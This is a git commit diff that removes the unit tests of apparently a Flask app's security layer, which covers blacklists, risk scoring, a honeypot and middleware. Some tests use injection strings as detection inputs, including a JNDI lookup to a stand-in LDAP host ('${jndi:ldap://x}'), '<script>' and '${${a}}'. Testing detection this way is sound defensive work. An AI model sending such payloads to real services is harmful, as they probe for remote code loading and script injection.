🧹 清理测试和工具目录
❌ 删除的文件： - tests/ 目录及所有11个测试文件 - tools/ 目录及update_agent.py ✅ 更新.gitignore： - 添加tests/和tools/目录的忽略规则 🎯 原因： - tests目录包含单元测试，不应在生产仓库 - tools目录包含开发工具脚本，对用户无用 - 保持仓库纯净，只包含生产代码 📊 清理统计： - 删除文件数：13个 - 涉及目录：2个 - 仓库更加简洁专业
This commit is contained in:
zsglpt Optimizer
@@ -1,7 +0,0 @@
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
if str(ROOT) not in sys.path:
|
||||
sys.path.insert(0, str(ROOT))
|
||||
|
||||
@@ -1,249 +0,0 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import timedelta
|
||||
|
||||
import pytest
|
||||
from flask import Flask
|
||||
|
||||
import db_pool
|
||||
from db.schema import ensure_schema
|
||||
from db.utils import get_cst_now
|
||||
from security.blacklist import BlacklistManager
|
||||
from security.risk_scorer import RiskScorer
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def _test_db(tmp_path):
|
||||
db_file = tmp_path / "admin_security_api_test.db"
|
||||
|
||||
old_pool = getattr(db_pool, "_pool", None)
|
||||
try:
|
||||
if old_pool is not None:
|
||||
try:
|
||||
old_pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = None
|
||||
db_pool.init_pool(str(db_file), pool_size=1)
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
ensure_schema(conn)
|
||||
|
||||
yield db_file
|
||||
finally:
|
||||
try:
|
||||
if getattr(db_pool, "_pool", None) is not None:
|
||||
db_pool._pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = old_pool
|
||||
|
||||
|
||||
def _make_app() -> Flask:
|
||||
from routes.admin_api.security import security_bp
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config.update(SECRET_KEY="test-secret", TESTING=True)
|
||||
app.register_blueprint(security_bp)
|
||||
return app
|
||||
|
||||
|
||||
def _login_admin(client) -> None:
|
||||
with client.session_transaction() as sess:
|
||||
sess["admin_id"] = 1
|
||||
sess["admin_username"] = "admin"
|
||||
|
||||
|
||||
def _insert_threat_event(*, threat_type: str, score: int, ip: str, user_id: int | None, created_at: str, payload: str):
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO threat_events (threat_type, score, ip, user_id, request_path, value_preview, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?)
|
||||
""",
|
||||
(threat_type, int(score), ip, user_id, "/api/test", payload, created_at),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
|
||||
def test_dashboard_requires_admin(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
|
||||
resp = client.get("/api/admin/security/dashboard")
|
||||
assert resp.status_code == 403
|
||||
assert resp.get_json() == {"error": "需要管理员权限"}
|
||||
|
||||
|
||||
def test_dashboard_counts_and_payload_truncation(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
_login_admin(client)
|
||||
|
||||
now = get_cst_now()
|
||||
within_24h = now.strftime("%Y-%m-%d %H:%M:%S")
|
||||
within_24h_2 = (now - timedelta(hours=1)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
older = (now - timedelta(hours=25)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
long_payload = "x" * 300
|
||||
_insert_threat_event(
|
||||
threat_type="sql_injection",
|
||||
score=90,
|
||||
ip="1.2.3.4",
|
||||
user_id=10,
|
||||
created_at=within_24h,
|
||||
payload=long_payload,
|
||||
)
|
||||
_insert_threat_event(
|
||||
threat_type="xss",
|
||||
score=70,
|
||||
ip="2.3.4.5",
|
||||
user_id=11,
|
||||
created_at=within_24h_2,
|
||||
payload="short",
|
||||
)
|
||||
_insert_threat_event(
|
||||
threat_type="path_traversal",
|
||||
score=60,
|
||||
ip="9.9.9.9",
|
||||
user_id=None,
|
||||
created_at=older,
|
||||
payload="old",
|
||||
)
|
||||
|
||||
manager = BlacklistManager()
|
||||
manager.ban_ip("8.8.8.8", reason="manual", duration_hours=1, permanent=False)
|
||||
manager._ban_user_internal(123, reason="manual", duration_hours=1, permanent=False)
|
||||
|
||||
resp = client.get("/api/admin/security/dashboard")
|
||||
assert resp.status_code == 200
|
||||
data = resp.get_json()
|
||||
|
||||
assert data["threat_events_24h"] == 2
|
||||
assert data["banned_ip_count"] == 1
|
||||
assert data["banned_user_count"] == 1
|
||||
|
||||
recent = data["recent_threat_events"]
|
||||
assert isinstance(recent, list)
|
||||
assert len(recent) == 3
|
||||
|
||||
payload_preview = recent[0]["value_preview"]
|
||||
assert isinstance(payload_preview, str)
|
||||
assert len(payload_preview) <= 200
|
||||
assert payload_preview.endswith("...")
|
||||
|
||||
|
||||
def test_threats_pagination_and_filters(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
_login_admin(client)
|
||||
|
||||
now = get_cst_now()
|
||||
t1 = (now - timedelta(minutes=1)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
t2 = (now - timedelta(minutes=2)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
t3 = (now - timedelta(minutes=3)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
_insert_threat_event(threat_type="sql_injection", score=90, ip="1.1.1.1", user_id=1, created_at=t1, payload="a")
|
||||
_insert_threat_event(threat_type="xss", score=70, ip="2.2.2.2", user_id=2, created_at=t2, payload="b")
|
||||
_insert_threat_event(threat_type="nested_expression", score=80, ip="3.3.3.3", user_id=3, created_at=t3, payload="c")
|
||||
|
||||
resp = client.get("/api/admin/security/threats?page=1&per_page=2")
|
||||
assert resp.status_code == 200
|
||||
data = resp.get_json()
|
||||
assert data["total"] == 3
|
||||
assert len(data["items"]) == 2
|
||||
|
||||
resp2 = client.get("/api/admin/security/threats?page=2&per_page=2")
|
||||
assert resp2.status_code == 200
|
||||
data2 = resp2.get_json()
|
||||
assert data2["total"] == 3
|
||||
assert len(data2["items"]) == 1
|
||||
|
||||
resp3 = client.get("/api/admin/security/threats?event_type=sql_injection")
|
||||
assert resp3.status_code == 200
|
||||
data3 = resp3.get_json()
|
||||
assert data3["total"] == 1
|
||||
assert data3["items"][0]["threat_type"] == "sql_injection"
|
||||
|
||||
resp4 = client.get("/api/admin/security/threats?severity=high")
|
||||
assert resp4.status_code == 200
|
||||
data4 = resp4.get_json()
|
||||
assert data4["total"] == 2
|
||||
assert {item["threat_type"] for item in data4["items"]} == {"sql_injection", "nested_expression"}
|
||||
|
||||
|
||||
def test_ban_and_unban_ip(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
_login_admin(client)
|
||||
|
||||
resp = client.post("/api/admin/security/ban-ip", json={"ip": "7.7.7.7", "reason": "test", "duration_hours": 1})
|
||||
assert resp.status_code == 200
|
||||
assert resp.get_json()["success"] is True
|
||||
|
||||
list_resp = client.get("/api/admin/security/banned-ips")
|
||||
assert list_resp.status_code == 200
|
||||
payload = list_resp.get_json()
|
||||
assert payload["count"] == 1
|
||||
assert payload["items"][0]["ip"] == "7.7.7.7"
|
||||
|
||||
resp2 = client.post("/api/admin/security/unban-ip", json={"ip": "7.7.7.7"})
|
||||
assert resp2.status_code == 200
|
||||
assert resp2.get_json()["success"] is True
|
||||
|
||||
list_resp2 = client.get("/api/admin/security/banned-ips")
|
||||
assert list_resp2.status_code == 200
|
||||
assert list_resp2.get_json()["count"] == 0
|
||||
|
||||
|
||||
def test_risk_endpoints_and_cleanup(_test_db):
|
||||
app = _make_app()
|
||||
client = app.test_client()
|
||||
_login_admin(client)
|
||||
|
||||
scorer = RiskScorer(auto_ban_enabled=False)
|
||||
scorer.record_threat("4.4.4.4", 44, threat_type="xss", score=20, request_path="/", payload="<script>")
|
||||
|
||||
ip_resp = client.get("/api/admin/security/ip-risk/4.4.4.4")
|
||||
assert ip_resp.status_code == 200
|
||||
ip_data = ip_resp.get_json()
|
||||
assert ip_data["risk_score"] == 20
|
||||
assert len(ip_data["threat_history"]) >= 1
|
||||
|
||||
user_resp = client.get("/api/admin/security/user-risk/44")
|
||||
assert user_resp.status_code == 200
|
||||
user_data = user_resp.get_json()
|
||||
assert user_data["risk_score"] == 20
|
||||
assert len(user_data["threat_history"]) >= 1
|
||||
|
||||
# Prepare decaying scores and expired ban
|
||||
old_ts = (get_cst_now() - timedelta(hours=2)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
|
||||
VALUES (?, 100, ?, ?, ?)
|
||||
""",
|
||||
("5.5.5.5", old_ts, old_ts, old_ts),
|
||||
)
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO ip_blacklist (ip, reason, is_active, added_at, expires_at)
|
||||
VALUES (?, ?, 1, ?, ?)
|
||||
""",
|
||||
("6.6.6.6", "expired", old_ts, old_ts),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
manager = BlacklistManager()
|
||||
assert manager.is_ip_banned("6.6.6.6") is False # expired already
|
||||
|
||||
cleanup_resp = client.post("/api/admin/security/cleanup", json={})
|
||||
assert cleanup_resp.status_code == 200
|
||||
assert cleanup_resp.get_json()["success"] is True
|
||||
|
||||
# Score decayed by cleanup
|
||||
assert RiskScorer().get_ip_score("5.5.5.5") == 81
|
||||
|
||||
@@ -1,74 +0,0 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import queue
|
||||
|
||||
from browser_pool_worker import BrowserWorker
|
||||
|
||||
|
||||
class _AlwaysFailEnsureWorker(BrowserWorker):
|
||||
def __init__(self, *, worker_id: int, task_queue: queue.Queue):
|
||||
super().__init__(worker_id=worker_id, task_queue=task_queue, pre_warm=False)
|
||||
self.ensure_calls = 0
|
||||
|
||||
def _ensure_browser(self) -> bool: # noqa: D401 - matching base naming
|
||||
self.ensure_calls += 1
|
||||
if self.ensure_calls >= 2:
|
||||
self.running = False
|
||||
return False
|
||||
|
||||
def _close_browser(self):
|
||||
self.browser_instance = None
|
||||
|
||||
|
||||
def test_requeue_task_when_browser_unavailable():
|
||||
task_queue: queue.Queue = queue.Queue()
|
||||
callback_calls: list[tuple[object, object]] = []
|
||||
|
||||
def callback(result, error):
|
||||
callback_calls.append((result, error))
|
||||
|
||||
task = {
|
||||
"func": lambda *_args, **_kwargs: None,
|
||||
"args": (),
|
||||
"kwargs": {},
|
||||
"callback": callback,
|
||||
"retry_count": 0,
|
||||
}
|
||||
|
||||
worker = _AlwaysFailEnsureWorker(worker_id=1, task_queue=task_queue)
|
||||
worker.start()
|
||||
task_queue.put(task)
|
||||
worker.join(timeout=5)
|
||||
|
||||
assert worker.is_alive() is False
|
||||
assert worker.ensure_calls == 2 # 本地最多尝试2次创建执行环境
|
||||
assert callback_calls == [] # 第一次失败会重新入队，不应立即回调失败
|
||||
|
||||
requeued = task_queue.get_nowait()
|
||||
assert requeued["retry_count"] == 1
|
||||
|
||||
|
||||
def test_fail_task_after_second_assignment():
|
||||
task_queue: queue.Queue = queue.Queue()
|
||||
callback_calls: list[tuple[object, object]] = []
|
||||
|
||||
def callback(result, error):
|
||||
callback_calls.append((result, error))
|
||||
|
||||
task = {
|
||||
"func": lambda *_args, **_kwargs: None,
|
||||
"args": (),
|
||||
"kwargs": {},
|
||||
"callback": callback,
|
||||
"retry_count": 1, # 已重新分配过1次
|
||||
}
|
||||
|
||||
worker = _AlwaysFailEnsureWorker(worker_id=1, task_queue=task_queue)
|
||||
worker.start()
|
||||
task_queue.put(task)
|
||||
worker.join(timeout=5)
|
||||
|
||||
assert worker.is_alive() is False
|
||||
assert callback_calls == [(None, "执行环境不可用")]
|
||||
assert worker.total_tasks == 1
|
||||
assert worker.failed_tasks == 1
|
||||
@@ -1,63 +0,0 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import uuid
|
||||
|
||||
from security import HoneypotResponder
|
||||
|
||||
|
||||
def test_should_use_honeypot_threshold():
|
||||
responder = HoneypotResponder()
|
||||
assert responder.should_use_honeypot(79) is False
|
||||
assert responder.should_use_honeypot(80) is True
|
||||
assert responder.should_use_honeypot(100) is True
|
||||
|
||||
|
||||
def test_generate_fake_response_email():
|
||||
responder = HoneypotResponder()
|
||||
resp = responder.generate_fake_response("/api/forgot-password")
|
||||
assert resp["success"] is True
|
||||
assert resp["message"] == "邮件已发送"
|
||||
|
||||
|
||||
def test_generate_fake_response_register_contains_fake_uuid():
|
||||
responder = HoneypotResponder()
|
||||
resp = responder.generate_fake_response("/api/register")
|
||||
assert resp["success"] is True
|
||||
assert "user_id" in resp
|
||||
uuid.UUID(resp["user_id"])
|
||||
|
||||
|
||||
def test_generate_fake_response_login():
|
||||
responder = HoneypotResponder()
|
||||
resp = responder.generate_fake_response("/api/login")
|
||||
assert resp == {"success": True}
|
||||
|
||||
|
||||
def test_generate_fake_response_generic():
|
||||
responder = HoneypotResponder()
|
||||
resp = responder.generate_fake_response("/api/tasks/run")
|
||||
assert resp["success"] is True
|
||||
assert resp["message"] == "操作成功"
|
||||
|
||||
|
||||
def test_delay_response_ranges():
|
||||
responder = HoneypotResponder()
|
||||
|
||||
assert responder.delay_response(0) == 0
|
||||
assert responder.delay_response(20) == 0
|
||||
|
||||
d = responder.delay_response(21)
|
||||
assert 0.5 <= d <= 1.0
|
||||
d = responder.delay_response(50)
|
||||
assert 0.5 <= d <= 1.0
|
||||
|
||||
d = responder.delay_response(51)
|
||||
assert 1.0 <= d <= 3.0
|
||||
d = responder.delay_response(80)
|
||||
assert 1.0 <= d <= 3.0
|
||||
|
||||
d = responder.delay_response(81)
|
||||
assert 3.0 <= d <= 8.0
|
||||
d = responder.delay_response(100)
|
||||
assert 3.0 <= d <= 8.0
|
||||
|
||||
@@ -1,72 +0,0 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import random
|
||||
|
||||
import security.response_handler as rh
|
||||
from security import ResponseAction, ResponseHandler, ResponseStrategy
|
||||
|
||||
|
||||
def test_get_strategy_banned_blocks():
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
strategy = handler.get_strategy(10, is_banned=True)
|
||||
assert strategy.action == ResponseAction.BLOCK
|
||||
assert strategy.delay_seconds == 0
|
||||
assert strategy.message == "访问被拒绝"
|
||||
|
||||
|
||||
def test_get_strategy_allow_levels():
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
|
||||
s = handler.get_strategy(0)
|
||||
assert s.action == ResponseAction.ALLOW
|
||||
assert s.delay_seconds == 0
|
||||
assert s.captcha_level == 1
|
||||
|
||||
s = handler.get_strategy(21)
|
||||
assert s.action == ResponseAction.ALLOW
|
||||
assert s.delay_seconds == 0
|
||||
assert s.captcha_level == 2
|
||||
|
||||
|
||||
def test_get_strategy_delay_ranges():
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
|
||||
s = handler.get_strategy(41)
|
||||
assert s.action == ResponseAction.DELAY
|
||||
assert 1.0 <= s.delay_seconds <= 2.0
|
||||
|
||||
s = handler.get_strategy(61)
|
||||
assert s.action == ResponseAction.DELAY
|
||||
assert 2.0 <= s.delay_seconds <= 5.0
|
||||
|
||||
s = handler.get_strategy(81)
|
||||
assert s.action == ResponseAction.HONEYPOT
|
||||
assert 3.0 <= s.delay_seconds <= 8.0
|
||||
|
||||
|
||||
def test_apply_delay_uses_time_sleep(monkeypatch):
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=1.234)
|
||||
|
||||
called = {"count": 0, "seconds": None}
|
||||
|
||||
def fake_sleep(seconds):
|
||||
called["count"] += 1
|
||||
called["seconds"] = seconds
|
||||
|
||||
monkeypatch.setattr(rh.time, "sleep", fake_sleep)
|
||||
|
||||
handler.apply_delay(strategy)
|
||||
assert called["count"] == 1
|
||||
assert called["seconds"] == 1.234
|
||||
|
||||
|
||||
def test_get_captcha_requirement():
|
||||
handler = ResponseHandler(rng=random.Random(0))
|
||||
|
||||
req = handler.get_captcha_requirement(ResponseStrategy(action=ResponseAction.ALLOW, captcha_level=2))
|
||||
assert req == {"required": True, "level": 2}
|
||||
|
||||
req = handler.get_captcha_requirement(ResponseStrategy(action=ResponseAction.BLOCK, captcha_level=2))
|
||||
assert req == {"required": False, "level": 2}
|
||||
|
||||
@@ -1,179 +0,0 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import timedelta
|
||||
|
||||
import pytest
|
||||
|
||||
import db_pool
|
||||
from db.schema import ensure_schema
|
||||
from db.utils import get_cst_now
|
||||
from security import constants as C
|
||||
from security.blacklist import BlacklistManager
|
||||
from security.risk_scorer import RiskScorer
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def _test_db(tmp_path):
|
||||
db_file = tmp_path / "risk_scorer_test.db"
|
||||
|
||||
old_pool = getattr(db_pool, "_pool", None)
|
||||
try:
|
||||
if old_pool is not None:
|
||||
try:
|
||||
old_pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = None
|
||||
db_pool.init_pool(str(db_file), pool_size=1)
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
ensure_schema(conn)
|
||||
|
||||
yield db_file
|
||||
finally:
|
||||
try:
|
||||
if getattr(db_pool, "_pool", None) is not None:
|
||||
db_pool._pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = old_pool
|
||||
|
||||
|
||||
def test_record_threat_updates_scores_and_combined(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager)
|
||||
|
||||
ip = "1.2.3.4"
|
||||
user_id = 123
|
||||
|
||||
assert scorer.get_ip_score(ip) == 0
|
||||
assert scorer.get_user_score(user_id) == 0
|
||||
assert scorer.get_combined_score(ip, user_id) == 0
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="sql_injection", score=30, request_path="/login", payload="x")
|
||||
|
||||
assert scorer.get_ip_score(ip) == 30
|
||||
assert scorer.get_user_score(user_id) == 30
|
||||
assert scorer.get_combined_score(ip, user_id) == 30
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="sql_injection", score=80, request_path="/login", payload="y")
|
||||
|
||||
assert scorer.get_ip_score(ip) == 100
|
||||
assert scorer.get_user_score(user_id) == 100
|
||||
assert scorer.get_combined_score(ip, user_id) == 100
|
||||
|
||||
|
||||
def test_auto_ban_on_score_100(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager)
|
||||
|
||||
ip = "5.6.7.8"
|
||||
user_id = 456
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="sql_injection", score=100, request_path="/api", payload="boom")
|
||||
|
||||
assert manager.is_ip_banned(ip) is True
|
||||
assert manager.is_user_banned(user_id) is True
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is not None
|
||||
|
||||
cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is not None
|
||||
|
||||
|
||||
def test_jndi_injection_permanent_ban(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager)
|
||||
|
||||
ip = "9.9.9.9"
|
||||
user_id = 999
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type=C.THREAT_TYPE_JNDI_INJECTION, score=100, request_path="/", payload="${jndi:ldap://x}")
|
||||
|
||||
assert manager.is_ip_banned(ip) is True
|
||||
assert manager.is_user_banned(user_id) is True
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is None
|
||||
|
||||
cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is None
|
||||
|
||||
|
||||
def test_high_risk_three_times_permanent_ban(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager, high_risk_threshold=80, high_risk_permanent_ban_count=3)
|
||||
|
||||
ip = "10.0.0.1"
|
||||
user_id = 1
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="a")
|
||||
scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="b")
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is not None # score hits 100 => temporary ban first
|
||||
|
||||
scorer.record_threat(ip, user_id, threat_type="nested_expression", score=80, request_path="/", payload="c")
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT expires_at FROM ip_blacklist WHERE ip = ?", (ip,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is None # 3 high-risk threats => permanent
|
||||
|
||||
cursor.execute("SELECT expires_at FROM user_blacklist WHERE user_id = ?", (user_id,))
|
||||
row = cursor.fetchone()
|
||||
assert row is not None
|
||||
assert row["expires_at"] is None
|
||||
|
||||
|
||||
def test_decay_scores_hourly_10_percent(_test_db):
|
||||
manager = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=manager)
|
||||
|
||||
ip = "3.3.3.3"
|
||||
user_id = 11
|
||||
|
||||
old_ts = (get_cst_now() - timedelta(hours=2)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO ip_risk_scores (ip, risk_score, last_seen, created_at, updated_at)
|
||||
VALUES (?, 100, ?, ?, ?)
|
||||
""",
|
||||
(ip, old_ts, old_ts, old_ts),
|
||||
)
|
||||
cursor.execute(
|
||||
"""
|
||||
INSERT INTO user_risk_scores (user_id, risk_score, last_seen, created_at, updated_at)
|
||||
VALUES (?, 100, ?, ?, ?)
|
||||
""",
|
||||
(user_id, old_ts, old_ts, old_ts),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
scorer.decay_scores()
|
||||
|
||||
assert scorer.get_ip_score(ip) == 81
|
||||
assert scorer.get_user_score(user_id) == 81
|
||||
|
||||
@@ -1,56 +0,0 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime
|
||||
|
||||
from services.schedule_utils import compute_next_run_at, format_cst
|
||||
from services.time_utils import BEIJING_TZ
|
||||
|
||||
|
||||
def _dt(text: str) -> datetime:
|
||||
naive = datetime.strptime(text, "%Y-%m-%d %H:%M:%S")
|
||||
return BEIJING_TZ.localize(naive)
|
||||
|
||||
|
||||
def test_compute_next_run_at_weekday_filter():
|
||||
now = _dt("2025-01-06 07:00:00") # 周一
|
||||
next_dt = compute_next_run_at(
|
||||
now=now,
|
||||
schedule_time="08:00",
|
||||
weekdays="2", # 仅周二
|
||||
random_delay=0,
|
||||
last_run_at=None,
|
||||
)
|
||||
assert format_cst(next_dt) == "2025-01-07 08:00:00"
|
||||
|
||||
|
||||
def test_compute_next_run_at_random_delay_within_window(monkeypatch):
|
||||
now = _dt("2025-01-06 06:00:00")
|
||||
|
||||
# 固定随机值：0 => window_start（schedule_time-15min）
|
||||
monkeypatch.setattr("services.schedule_utils.random.randint", lambda a, b: 0)
|
||||
|
||||
next_dt = compute_next_run_at(
|
||||
now=now,
|
||||
schedule_time="08:00",
|
||||
weekdays="1,2,3,4,5,6,7",
|
||||
random_delay=1,
|
||||
last_run_at=None,
|
||||
)
|
||||
assert format_cst(next_dt) == "2025-01-06 07:45:00"
|
||||
|
||||
|
||||
def test_compute_next_run_at_skips_same_day_if_last_run_today(monkeypatch):
|
||||
now = _dt("2025-01-06 06:00:00")
|
||||
|
||||
# 让次日的随机值固定，便于断言
|
||||
monkeypatch.setattr("services.schedule_utils.random.randint", lambda a, b: 30)
|
||||
|
||||
next_dt = compute_next_run_at(
|
||||
now=now,
|
||||
schedule_time="08:00",
|
||||
weekdays="1,2,3,4,5,6,7",
|
||||
random_delay=1,
|
||||
last_run_at="2025-01-06 01:00:00",
|
||||
)
|
||||
# 次日 window_start=07:45 + 30min => 08:15
|
||||
assert format_cst(next_dt) == "2025-01-07 08:15:00"
|
||||
@@ -1,155 +0,0 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import pytest
|
||||
from flask import Flask, g, jsonify
|
||||
from flask_login import LoginManager
|
||||
|
||||
import db_pool
|
||||
from db.schema import ensure_schema
|
||||
from security import init_security_middleware
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def _test_db(tmp_path):
|
||||
db_file = tmp_path / "security_middleware_test.db"
|
||||
|
||||
old_pool = getattr(db_pool, "_pool", None)
|
||||
try:
|
||||
if old_pool is not None:
|
||||
try:
|
||||
old_pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = None
|
||||
db_pool.init_pool(str(db_file), pool_size=1)
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
ensure_schema(conn)
|
||||
|
||||
yield db_file
|
||||
finally:
|
||||
try:
|
||||
if getattr(db_pool, "_pool", None) is not None:
|
||||
db_pool._pool.close_all()
|
||||
except Exception:
|
||||
pass
|
||||
db_pool._pool = old_pool
|
||||
|
||||
|
||||
def _make_app(monkeypatch, _test_db, *, security_enabled: bool = True, honeypot_enabled: bool = True) -> Flask:
|
||||
import security.middleware as sm
|
||||
import security.response_handler as rh
|
||||
|
||||
# 避免测试因风控延迟而变慢
|
||||
monkeypatch.setattr(rh.time, "sleep", lambda _seconds: None)
|
||||
|
||||
# 每个测试用例保持 handler/honeypot 的懒加载状态
|
||||
sm.handler = None
|
||||
sm.honeypot = None
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config.update(
|
||||
SECRET_KEY="test-secret",
|
||||
TESTING=True,
|
||||
SECURITY_ENABLED=bool(security_enabled),
|
||||
HONEYPOT_ENABLED=bool(honeypot_enabled),
|
||||
SECURITY_LOG_LEVEL="CRITICAL", # 降低测试日志噪音
|
||||
)
|
||||
|
||||
login_manager = LoginManager()
|
||||
login_manager.init_app(app)
|
||||
|
||||
@login_manager.user_loader
|
||||
def _load_user(_user_id: str):
|
||||
return None
|
||||
|
||||
init_security_middleware(app)
|
||||
return app
|
||||
|
||||
|
||||
def _client_get(app: Flask, path: str, *, ip: str = "1.2.3.4"):
|
||||
return app.test_client().get(path, environ_overrides={"REMOTE_ADDR": ip})
|
||||
|
||||
|
||||
def test_middleware_blocks_banned_ip(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db)
|
||||
|
||||
@app.get("/api/ping")
|
||||
def _ping():
|
||||
return jsonify({"ok": True})
|
||||
|
||||
import security.middleware as sm
|
||||
|
||||
sm.blacklist.ban_ip("1.2.3.4", reason="test", duration_hours=1, permanent=False)
|
||||
|
||||
resp = _client_get(app, "/api/ping", ip="1.2.3.4")
|
||||
assert resp.status_code == 503
|
||||
assert resp.get_json() == {"error": "服务暂时繁忙，请稍后重试"}
|
||||
|
||||
|
||||
def test_middleware_skips_static_requests(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db)
|
||||
|
||||
@app.get("/static/test")
|
||||
def _static_test():
|
||||
return "ok"
|
||||
|
||||
import security.middleware as sm
|
||||
|
||||
sm.blacklist.ban_ip("1.2.3.4", reason="test", duration_hours=1, permanent=False)
|
||||
|
||||
resp = _client_get(app, "/static/test", ip="1.2.3.4")
|
||||
assert resp.status_code == 200
|
||||
assert resp.get_data(as_text=True) == "ok"
|
||||
|
||||
|
||||
def test_middleware_honeypot_short_circuits_side_effects(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db, honeypot_enabled=True)
|
||||
|
||||
called = {"count": 0}
|
||||
|
||||
@app.get("/api/side-effect")
|
||||
def _side_effect():
|
||||
called["count"] += 1
|
||||
return jsonify({"real": True})
|
||||
|
||||
resp = _client_get(app, "/api/side-effect?q=${${a}}", ip="9.9.9.9")
|
||||
assert resp.status_code == 200
|
||||
payload = resp.get_json()
|
||||
assert isinstance(payload, dict)
|
||||
assert payload.get("success") is True
|
||||
assert called["count"] == 0
|
||||
|
||||
|
||||
def test_middleware_fails_open_on_internal_errors(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db)
|
||||
|
||||
@app.get("/api/ok")
|
||||
def _ok():
|
||||
return jsonify({"ok": True, "risk_score": getattr(g, "risk_score", None)})
|
||||
|
||||
import security.middleware as sm
|
||||
|
||||
def boom(*_args, **_kwargs):
|
||||
raise RuntimeError("boom")
|
||||
|
||||
monkeypatch.setattr(sm.blacklist, "is_ip_banned", boom)
|
||||
monkeypatch.setattr(sm.detector, "scan_input", boom)
|
||||
|
||||
resp = _client_get(app, "/api/ok", ip="2.2.2.2")
|
||||
assert resp.status_code == 200
|
||||
assert resp.get_json()["ok"] is True
|
||||
|
||||
|
||||
def test_middleware_sets_request_context_fields(_test_db, monkeypatch):
|
||||
app = _make_app(monkeypatch, _test_db)
|
||||
|
||||
